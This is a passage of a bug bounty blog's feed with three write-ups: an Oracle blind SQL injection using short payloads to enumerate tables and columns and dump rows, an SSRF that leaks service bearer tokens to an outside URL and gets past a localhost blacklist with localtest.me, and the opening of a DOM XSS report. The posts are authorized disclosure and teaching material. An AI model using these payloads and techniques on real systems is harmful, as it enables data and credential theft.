&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Enumerating the table name one character at a time, I found that the table name was &amp;ldquo;&lt;strong&gt;SYSTEMTBL$&lt;/strong&gt;&amp;rdquo;. I could not enumerate the last $ character because it was a bad character. However, I googled the table name and found out that it was also a system table and the table name ended with a $.&lt;/p&gt;
&lt;p&gt;I tried to play around with the offset values to enumerate more table names but almost all of them turned out to be system tables.&lt;/p&gt;
&lt;p&gt;To find a table that was not a system table, I did some guesswork. As I mentioned earlier in the blog, this application was a retest. I had already sent plenty of SQLis on this application. Due to this, I was fortunate enough to know the naming convention of the tables. I knew the table names had the following prefix: &amp;ldquo;&lt;strong&gt;SYN_&lt;/strong&gt;&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;I crafted a payload to check for tables that had the &amp;ldquo;&lt;strong&gt;SYN_&lt;/strong&gt;&amp;rdquo; prefix. The payload looked like this:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;AND(CASE WHEN((SELECT COUNT(*) FROM all_tables WHERE table_name LIKE &amp;#39;&lt;/span&gt;SYN____&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;)=1)THEN 1ELSE 1/0END)=1OR&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;=&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;-- 111 characters
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This payload was successful and I enumerated the table name to be &amp;ldquo;&lt;strong&gt;SYN_NEW&lt;/strong&gt;&amp;rdquo;.&lt;/p&gt;
&lt;h3 id=&#34;guessing-column-names&#34;&gt;Guessing Column Names&lt;/h3&gt;
&lt;p&gt;Next up, we had to enumerate the column names from the &amp;ldquo;SYN_NEW&amp;rdquo; table. For this, I tried to craft a payload like this:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;AND(CASE WHEN((SELECT OWNER FROM all_tab_columns WHERE table_name=&amp;#39;&lt;/span&gt;SYN_NEW&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;ANDROWNUM=1)&amp;gt;0)THEN 1ELSE 1/0END)=1OR&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;=&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;-- 119 characters
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;However, this payload would not work. The &lt;code&gt;(SELECT OWNER FROM all_tab_columns WHERE table_name=&#39;SYN_NEW&#39;ANDROWNUM=1)&lt;/code&gt; subquery returns a string and we must compare it with a string to get a meaningful result. Even if we try to compare it with the ASCII value of the first character, we would be limited to enumerating the first character of the column name. We had just enough space to fit a single character.&lt;/p&gt;
&lt;p&gt;I could not think of anything from here. So, I decided to brute force the column names. To perform the brute force, I used the following payload:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;AND(CASE WHEN((SELECT LENGTH(§test§) FROM SYN_NEW OFFSET 1ROWS FETCH NEXT 1ROWS ONLY)&amp;gt;0)THEN 1ELSE 1/0END)=1OR&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;=&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt; &lt;span style=&#34;color:#75715e&#34;&gt;-- 115 characters
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;I brute-forced using the &lt;a href=&#34;https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/burp-parameter-names.txt&#34;&gt;burp-parameter-names.txt&lt;/a&gt; wordlist.&lt;/p&gt;
&lt;p&gt;And quickly enough, I found one column &amp;ldquo;&lt;strong&gt;user&lt;/strong&gt;&amp;rdquo;.&lt;/p&gt;
&lt;h3 id=&#34;dumping-the-rows&#34;&gt;Dumping The Rows&lt;/h3&gt;
&lt;p&gt;From here, the database dump was quite easy, I just used the following payload to dump one row at a time:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;&amp;#39;AND(CASE WHEN((SELECT user FROM SYN_NEW OFFSET 1ROW FETCH NEXT 1ROW ONLY)&amp;gt;&amp;#39;SYN&amp;#39;)THEN 1ELSE 1/0END)=1OR&amp;#39;1&amp;#39;=&amp;#39; -- 108 characters
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I enumerated the first row to be &amp;ldquo;&lt;strong&gt;SYN_WAS&lt;/strong&gt;&amp;rdquo;. To confirm that what we dumped was indeed a valid row and was not a fluke, I used the following payload:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;&amp;#39;AND(CASE WHEN((SELECT user FROM SYN_NEW OFFSET 1ROW FETCH NEXT 1ROW ONLY)=&amp;#39;SYN_WAS&amp;#39;)THEN 1ELSE 1/0END)=1OR&amp;#39;1&amp;#39;=&amp;#39; -- 112 characters
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If you change from &amp;ldquo;&lt;strong&gt;SYN_WAS&lt;/strong&gt;&amp;rdquo; to something else like &amp;ldquo;&lt;strong&gt;SYN_WAR&lt;/strong&gt;&amp;rdquo;, the application will send a false response. Confirming that our row dump is valid.&lt;/p&gt;
&lt;p&gt;Sent the report to Synack and they happily accepted the findings!&lt;/p&gt;
&lt;h3 id=&#34;takeaways&#34;&gt;Takeaways&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Keep taking notes of your vulnerabilities. You never know when they will become useful.&lt;/li&gt;
&lt;li&gt;Bug bounties are often luck paired with hard work. If I had not found the SQL injections on this target in the past, I would never have guessed what naming structure the table names follow.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;I love doing technical discussions with the community! If you have a question about anything related to infosec, feel free to send me a DM on my &lt;a href=&#34;https://twitter.com/kuldeepdotexe&#34;&gt;Twitter&lt;/a&gt;/&lt;a href=&#34;https://www.instagram.com/kuldeepdotexe&#34;&gt;Instagram&lt;/a&gt;/&lt;a href=&#34;https://www.linkedin.com/in/kuldeep-pandya-13a26a167/&#34;&gt;LinkedIn&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;EOF&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>Escalating Privileges With SSRF</title>
      <link>https://kuldeep.io/posts/escalating-privileges-with-ssrf/</link>
      <pubDate>Thu, 20 Jul 2023 20:58:53 +0530</pubDate>
      
      <guid>https://kuldeep.io/posts/escalating-privileges-with-ssrf/</guid>
      <description>Hello again, folks!
This post is regarding my recent findings on Synack Red Team which consisted of a total of 4 SSRF vulnerabilities. Three of them were authenticated SSRFs and the last was a fully unauthenticated SSRF.
If you follow me on Twitter, you must have seen my post regarding this.
The finding is pretty straightforward. I can explain it in fewer lines but I want to explain my stepwise thought process to finding this specific vulnerability.</description>
      <content>&lt;p&gt;Hello again, folks!&lt;/p&gt;
&lt;p&gt;This post is regarding my recent findings on Synack Red Team which consisted of a total of 4 SSRF vulnerabilities. Three of them were authenticated SSRFs and the last was a fully unauthenticated SSRF.&lt;/p&gt;
&lt;p&gt;If you follow me on Twitter, you must have seen my post regarding this.&lt;/p&gt;
&lt;p&gt;The finding is pretty straightforward. I can explain it in fewer lines but I want to explain my stepwise thought process to finding this specific vulnerability. I want to do this because the target was live for a total of 11 hours and 47 minutes before I reported the vulnerability, and surprisingly no one else reported it despite the relatively small attack surface.&lt;/p&gt;
&lt;p&gt;To the blog now,&lt;/p&gt;
&lt;p&gt;I was onboarded to the target at 01:31 AM at night. I was obviously sleeping. After waking up, I realized there was a new API target. So I hopped onto my machine.&lt;/p&gt;
&lt;p&gt;I prepared the testing environment by loading the Postman collection and Postman environment files into Postman. I then started Burp Suite in order to view and manipulate the requests.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://kuldeep.io/Postman-collection.png&#34; alt=&#34;Postman Collection&#34;&gt;&lt;/p&gt;
&lt;h3 id=&#34;application-overview&#34;&gt;Application Overview&lt;/h3&gt;
&lt;p&gt;There were different services running on each sub-collection. By manually checking each request, I found out that there were a total of 5 services that were actually performing some sort of operation. The other collections are for authentication and other purposes.&lt;/p&gt;
&lt;p&gt;The 5 services that were running included:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;XXXIntegration&lt;/li&gt;
&lt;li&gt;AssetManagement&lt;/li&gt;
&lt;li&gt;Billing&lt;/li&gt;
&lt;li&gt;CustomerManagement&lt;/li&gt;
&lt;li&gt;OLS&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To access any of these services, you require a service-specific access token. For example, if you want to access the &lt;code&gt;Billing&lt;/code&gt; service, you must have a &lt;code&gt;Billing&lt;/code&gt; access token. If you have an &lt;code&gt;AssetManagement&lt;/code&gt; access token, it will not work for the &lt;code&gt;Billing&lt;/code&gt; service and vice versa.&lt;/p&gt;
&lt;p&gt;I obtained an access token for the &lt;code&gt;AssetManagement&lt;/code&gt; service. I set the access token in the Postman environment in order to for the testing process to work properly. And I started exploring various requests.&lt;/p&gt;
&lt;h3 id=&#34;initial-discovery&#34;&gt;Initial Discovery&lt;/h3&gt;
&lt;p&gt;By manually testing each request on a one-by-one basis, I came across the &lt;code&gt;XXXService - /xxxevent&lt;/code&gt; request.&lt;/p&gt;
&lt;p&gt;The request looked like this:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;POST /api/xxx/xxxevent HTTP/1.1
Content-Type: application/json
Authorization: Bearer redacted
Host: AssetManagement-service-host
Content-Length: 507
{
  &amp;#34;event_id&amp;#34;: &amp;#34;redacted&amp;#34;,
  &amp;#34;event_type&amp;#34;: &amp;#34;redacted&amp;#34;,
  &amp;#34;event_time&amp;#34;: &amp;#34;2022-07-06T14:55:00.00Z&amp;#34;,
  &amp;#34;correlation_id&amp;#34; : &amp;#34;redacted&amp;#34;,
  &amp;#34;payload&amp;#34;: {
    &amp;#34;urls&amp;#34;: [
      {
        &amp;#34;url_type&amp;#34;: &amp;#34;XXXIntegration&amp;#34;,
        &amp;#34;url&amp;#34;: &amp;#34;https://XXXIntegration-service-host/api/xxxhistory/xxx/1234&amp;#34;
      }     
    ]
  }
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Here is the explanation for each parameter:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Parameter&lt;/th&gt;
&lt;th&gt;Explanation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;event_id&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;This is a UUID for a particular event.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;event_type&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Set to &amp;ldquo;&lt;em&gt;public&lt;/em&gt;&amp;rdquo; by default in the collection. Most probably, this identifies if the event is public or private.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;event_time&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Describes the time of the event.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;url_type&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;This is set to &lt;code&gt;XXXIntegration&lt;/code&gt; showing that the &lt;code&gt;XXXIntegration&lt;/code&gt; service is being requested.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;url&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;This is the parameter of utmost interest, as this specifies an &lt;code&gt;XXXIntegration&lt;/code&gt; service URL to fetch data. A user can modify this parameter to hold any arbitrary URL and the API will send requests to that URL&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The response to this request showed no interesting behavior as it was just a &lt;code&gt;500 Internal Server Error&lt;/code&gt; page without any verbose errors.&lt;/p&gt;
&lt;p&gt;I started testing this request by providing it with a Synack Burp Collaborator URL. And, to my surprise, it actually sent me an HTTP request.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://kuldeep.io/request-to-collaborator.png&#34; alt=&#34;Request In Collaborator&#34;&gt;&lt;/p&gt;
&lt;h3 id=&#34;initial-assumption-and-its-limitations&#34;&gt;Initial Assumption and Its Limitations&lt;/h3&gt;
&lt;p&gt;Just like you, I also noticed the authorization token in the request. But at the time of testing, I assumed this was my own authorization token. I believed the server forwarded parts of my request to the URL provided as the &lt;code&gt;url&lt;/code&gt; parameter.&lt;/p&gt;
&lt;p&gt;This kind of behavior has almost no impact on its own because stealing our own bearer token yields nothing. It must be chained with some other attack like CSRF in order to exploit other users. For example, it can be exploited when you make the victim send a request to an attacker-controlled domain.&lt;/p&gt;
&lt;h3 id=&#34;bypassing-the-blacklist-to-achieve-a-partial-ssrf&#34;&gt;Bypassing The Blacklist To Achieve A Partial SSRF&lt;/h3&gt;
&lt;p&gt;I ignored this behavior and started checking if I can do a local port scan for it to be eligible for a partial SSRF. I tried to make the API send a request to &lt;code&gt;localhost&lt;/code&gt; but the API had a blacklist in place for such payloads. I tried a handful of payloads like:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;localhost&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;127.0.0.1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0.0.0.0&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;127.1&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;But as expected, all were being filtered by the API.&lt;/p&gt;
&lt;p&gt;This API was allowing requests to arbitrary domains so I thought to try a domain name that resolved to &lt;code&gt;127.0.0.1&lt;/code&gt;. So, I tried it again with the &lt;code&gt;localtest.me&lt;/code&gt; domain and it successfully bypassed the blacklist. I confirmed that it bypassed the blacklist by the &lt;code&gt;500 Internal Server Error&lt;/code&gt; response. Normally, if the API filtered the payload, it sent a &lt;code&gt;403 Forbidden&lt;/code&gt; response.&lt;/p&gt;
&lt;p&gt;API normally:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://kuldeep.io/api-filtering-localhost.png&#34; alt=&#34;API Throwing A 403 When Supplied with 0.0.0.0&#34;&gt;&lt;/p&gt;
&lt;p&gt;API when I use localtest.me:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://kuldeep.io/api-filtering-localhost-bypassed.png&#34; alt=&#34;API Blacklisting Bypass Using localtest.me&#34;&gt;&lt;/p&gt;
&lt;p&gt;Now, all I had to do was create a local port scan PoC and submit it as a partial SSRF. However, I decided to escalate this issue in order for a better payout. I kept this vulnerability aside and started checking other functionalities that could potentially be used to exploit the SSRF.&lt;/p&gt;
&lt;h3 id=&#34;attempting-to-understand-jwt&#34;&gt;Attempting To Understand JWT&lt;/h3&gt;
&lt;p&gt;At random, a thought clicked in my brain. I wanted to confirm if the bearer token that I received in the collaborator indeed belonged to me. I later confirmed that the bearer token in the collaborator was different from the one that I had in my request.&lt;/p&gt;
&lt;p&gt;I used &lt;a href=&#34;https://jwt.io/&#34;&gt;jwt.io&lt;/a&gt; to decode both the tokens and compared them side by side. And this comparison further confirmed my belief that both the tokens are different. I will not show a screenshot of this for obvious reasons.&lt;/p&gt;
&lt;p&gt;Even after confirming that the token is from a different user/service, I still had no idea where this token was being used. I thought to fuzz all API endpoints of all services with this bearer token to see if any of them respond with a &lt;code&gt;200 OK&lt;/code&gt; or even anything apart from &lt;code&gt;401 Unauthorized&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&#34;finding-services-to-use-the-jwt&#34;&gt;Finding Services To Use The JWT&lt;/h3&gt;
&lt;p&gt;As usual, I got lazy and started looking for alternatives to fuzzing. Also, fuzzing must be the last resort in this situation because there were endpoints that performed different CRUD operations. Any wrong request can break the API.&lt;/p&gt;
&lt;p&gt;After checking each request manually for a while, a thought randomly clicked in my brain, once again. Let&amp;rsquo;s revisit our vulnerable request:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;{
	&amp;#34;url_type&amp;#34;: &amp;#34;XXXIntegration&amp;#34;,
	&amp;#34;url&amp;#34;: &amp;#34;https://XXXIntegration-service-host/api/xxxhistory/xxx/1234&amp;#34;
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Here, &lt;code&gt;XXXIntegration&lt;/code&gt; specifies that we are requesting the &lt;code&gt;XXXIntegration&lt;/code&gt; service. If you notice, the &lt;code&gt;XXXIntegration&lt;/code&gt; service is there in the 5 services that I listed at the start of the blog. And the &lt;code&gt;XXXIntegration-service-host&lt;/code&gt; is a host for the same service.&lt;/p&gt;
&lt;p&gt;So, my hypothesis was that if the original request was being sent to the &lt;code&gt;XXXIntegration-service-host&lt;/code&gt; host, then this access token must also belong to the same service.&lt;/p&gt;
&lt;p&gt;To confirm this theory, I copied the authorization token received in the collaborator and pasted it into the health check endpoint of the &lt;code&gt;XXXIntegration-service-host&lt;/code&gt; host. The health check endpoint was the perfect to test for this. The reason behind this is that it returned a &lt;code&gt;401 Unauthorized&lt;/code&gt; response if the credentials are invalid and a &lt;code&gt;200 OK&lt;/code&gt; response if the credentials are valid.&lt;/p&gt;
&lt;p&gt;After setting the authorization token, I successfully received a &lt;code&gt;200 OK&lt;/code&gt;. This confirmed that the token that was leaked in collaborator belonged to the &lt;code&gt;XXXIntegration&lt;/code&gt; service.&lt;/p&gt;
&lt;p&gt;Before setting the authorization token:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://kuldeep.io/healthcheck-before-setting-token.png&#34; alt=&#34;API showing a 401 before setting the authorization token&#34;&gt;&lt;/p&gt;
&lt;p&gt;After setting the authorization token leaked in the collaborator:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://kuldeep.io/healthcheck-after-setting-token.png&#34; alt=&#34;API showing a 200 OK after setting the authorization token&#34;&gt;&lt;/p&gt;
&lt;p&gt;This proved that the authorization token can be used to interact with the &lt;code&gt;XXXIntegration&lt;/code&gt; service. However, just to make sure that it can not be accessed with any valid access token, I sent a request to the health check endpoint of the &lt;code&gt;XXXIntegration&lt;/code&gt; service with an access token for the &lt;code&gt;AssetManagement&lt;/code&gt; service. This failed because the application had proper access control checks in place.&lt;/p&gt;
&lt;p&gt;Also, I later confirmed that we can exfiltrate an access token of ANY service by specifying the service name in the &lt;code&gt;url_type&lt;/code&gt; parameter. If you replace &lt;code&gt;XXXIntegration&lt;/code&gt; with &lt;code&gt;Billing&lt;/code&gt; in the vulnerable request, the collaborator request will yield a Billing service access token.&lt;/p&gt;
&lt;p&gt;Now we have everything we need to craft a full SSRF report.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;A request to an arbitrary URL&lt;/li&gt;
&lt;li&gt;API leaking access token of another service&lt;/li&gt;
&lt;li&gt;Privilege escalation using the access token&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&#34;finding-even-more-scarier-ssrfs&#34;&gt;Finding Even More (Scarier) SSRFs&lt;/h3&gt;
&lt;p&gt;I started writing a report on this issue. But I accidentally closed all my tabs in Postman. I used the &amp;ldquo;filter&amp;rdquo; option in Postman to search for the &amp;ldquo;event&amp;rdquo; keyword hoping to find the vulnerable endpoint. But instead, I was greeted with 9 such endpoints that ended with &amp;ldquo;event&amp;rdquo;. I checked all of them and found out that all of them were vulnerable.&lt;/p&gt;
&lt;p&gt;Now, instead of writing one report, I had to write 4 different reports. I wrote the first three reports. And then moved on to the next and final report. This is where I was so shocked that I could not believe what I was seeing.&lt;/p&gt;
&lt;p&gt;The last endpoint was accessible without any sort of authentication. The request to it looked like this:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;POST /api/xxx/xxxevent HTTP/1.1
Content-Type: application/json
Host: CustomerManagement-service-host
Content-Length: 622

{
	&amp;#34;event_id&amp;#34;: &amp;#34;redacted&amp;#34;,
	&amp;#34;event_type&amp;#34;: &amp;#34;redacted&amp;#34;,
	&amp;#34;event_time&amp;#34;: &amp;#34;2022-08-30T09:00:00.0000000Z&amp;#34;,
	&amp;#34;correlation_id&amp;#34;: &amp;#34;redacted&amp;#34;,
	&amp;#34;payload&amp;#34;: {
		&amp;#34;urls&amp;#34;: [
      {
        &amp;#34;url_type&amp;#34;: &amp;#34;CustomerManagement&amp;#34;,
        &amp;#34;url&amp;#34;: &amp;#34;https://CustomerManagement-service-host/api/xxx/customer/1234&amp;#34;
      },
			{
				&amp;#34;url_type&amp;#34;: &amp;#34;XXXIntegration&amp;#34;,
				&amp;#34;url&amp;#34;: &amp;#34;https://XXXIntegration-service-host/api/xxxhistory/xxx/1234&amp;#34;
			}
		]
	}
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Any form of authentication was not required to access this endpoint. So, it allowed a remote unauthenticated attacker to obtain valid authorization tokens for different services. All an attacker has to do is tell the server about the service he/she wants to interact with and a URL to send the authenticated access token. The server will send the credentials without asking for anything. It&amp;rsquo;s that simple. And it&amp;rsquo;s that scary.&lt;/p&gt;
&lt;p&gt;Sent all four reports to Synack and they accepted them happily with a generous bounty amount.&lt;/p&gt;
&lt;h3 id=&#34;conclusiontakeaways&#34;&gt;Conclusion/Takeaways&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Manually check for small details/anomalies. This may or may not lead to vulnerabilities. But it can certainly help you escalate the severity of the issue.&lt;/li&gt;
&lt;li&gt;Always try to increase the severity of your finding. Never settle for a lower severity vulnerability. Take the help of your fellow hackers if you need to.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;I work full-time as a bug bounty hunter mostly hacking in Synack Red Team (SRT). If you&amp;rsquo;re interested in becoming a part of the Synack Red Team, feel free to connect with me on Twitter, Instagram, or LinkedIn. I&amp;rsquo;m always happy to offer guidance to fellow cybersecurity enthusiasts.&lt;/p&gt;
&lt;p&gt;EOF&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>Full Disclosure - DOM-based XSS And Failures In Bug Bounty Hunting</title>
      <link>https://kuldeep.io/posts/fulldisclosure-dom-based-xss/</link>
      <pubDate>Thu, 06 Jul 2023 14:33:00 +0530</pubDate>
      
      <guid>https://kuldeep.io/posts/fulldisclosure-dom-based-xss/</guid>
      <description>Hello, folks!
A few days ago, I shared a post on Twitter about a mistake I made while doing bug bounties. This post is about the same mistake and a bonus mistake.
While scrolling on LinkedIn/Twitter/Instagram it is easy to get overwhelmed by looking at other people posting their bounties. There are two ways to look at this: 1. either get encouraged to hack looking at other people&amp;rsquo;s success or 2.</description>
      <content>&lt;p&gt;Hello, folks!&lt;/p&gt;
&lt;p&gt;A few days ago, I shared a post on Twitter about a mistake I made while doing bug bounties. This post is about the same mistake and a bonus mistake.&lt;/p&gt;
&lt;p&gt;While scrolling on LinkedIn/Twitter/Instagram it is easy to get overwhelmed by looking at other people posting their bounties. There are two ways to look at this: 1. either get encouraged to hack looking at other people&amp;rsquo;s success or 2. get discouraged and feel bad about you not finding enough vulnerabilities yourself. It is up to us to look at the positive side, take it as inspiration and start working to post similar bounties ourselves.&lt;/p&gt;
&lt;p&gt;However, while doing so, it is not guaranteed to find success 100% of the time. Whether you just started hacking or are a seasoned hacker, there will always be challenges.&lt;/p&gt;
&lt;p&gt;This time, I found myself in a similar situation. I was hunting on a target for around 6+ hours and found a DOM-based XSS. I escalated it to one-click account takeover. After reporting the issue, I found out that particular domain was out-of-scope.&lt;/p&gt;
&lt;p&gt;I spent 1+ hours on crafting the perfect report for this vulnerability but in the end, it didn&amp;rsquo;t matter. So, I decided to share it in a blog because I&amp;rsquo;m proud of my report.&lt;/p&gt;
&lt;p&gt;After that, I moved on to the next &amp;ldquo;in-scope&amp;rdquo; domain. I found a static HTML file and suspected there might be a CSS injection vulnerability. Detailed findings are shown below.&lt;/p&gt;
&lt;h2 id=&#34;findings&#34;&gt;Findings:&lt;/h2&gt;
&lt;h3 id=&#34;1-dom-xss-in-redactedexamplecom-due-to-insecure-dynamic-resource-loading-via-eurl-parameter&#34;&gt;1. DOM XSS In &lt;code&gt;REDACTED.example.com&lt;/code&gt; Due To Insecure Dynamic Resource Loading Via &lt;code&gt;eUrl&lt;/code&gt; Parameter&lt;/h3&gt;
&lt;h4 id=&#34;summary&#34;&gt;Summary:&lt;/h4&gt;
&lt;p&gt;The URL at &lt;a href=&#34;https://REDACTED.example.com/v2/xxx-login.asp&#34;&gt;https://REDACTED.example.com/v2/xxx-login.asp&lt;/a&gt; loads static resources dynamically using the &lt;code&gt;eUrl&lt;/code&gt; parameter that leads to DOM based XSS allowing for a one-click full account takeover.&lt;/p&gt;
&lt;h4 id=&#34;introduction&#34;&gt;Introduction:&lt;/h4&gt;
&lt;p&gt;DOM Based XSS (or as it is called in some texts, “type-0 XSS”) is an XSS attack wherein the attack payload is executed as a result of modifying the DOM “environment” in the victim’s browser used by the original client side script, so that the client side code runs in an “unexpected” manner. That is, the page itself (the HTTP response that is) does not change, but the client side code contained in the page executes differently due to the malicious modifications that have occurred in the DOM environment.&lt;/p&gt;
&lt;h4 id=&#34;description&#34;&gt;Description:&lt;/h4&gt;
&lt;p&gt;The page in focus &lt;a href=&#34;https://REDACTED.example.com/v2/xxx-login.asp&#34;&gt;https://REDACTED.example.com/v2/xxx-login.asp&lt;/a&gt; facilitates login functionality using the SSO. It takes the following parameters in input:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Parameter&lt;/th&gt;
&lt;th&gt;Working&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;action&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Set to either &lt;code&gt;login&lt;/code&gt; or &lt;code&gt;register&lt;/code&gt; depending on what user chooses&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;env&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Set to &lt;code&gt;REDACTED-prod&lt;/code&gt; suggesting this is the production environment&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;eUrl&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;This is the most important parameter as it specifies the location to load static resources from&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;userType&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;This specifies the user type. By the normal application flow, this is set to &lt;code&gt;PARTNER&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;REDACTEDLookupCode&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;I&amp;rsquo;m not entirely sure what this does&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;REDACTEDName&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Set to empty using the normal application flow so I believe it is not much important&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ssolang&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Language for the SSO. Set to &lt;code&gt;en&lt;/code&gt; by default&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;REDACTEDUrl&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Again, not entirely sure what this does but doesn&amp;rsquo;t affect the outcome&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;dossologin&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;This is a boolean parameter which is either set to &lt;code&gt;true&lt;/code&gt; or &lt;code&gt;false&lt;/code&gt;. It is set to &lt;code&gt;true&lt;/code&gt; in the case of SSO login&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
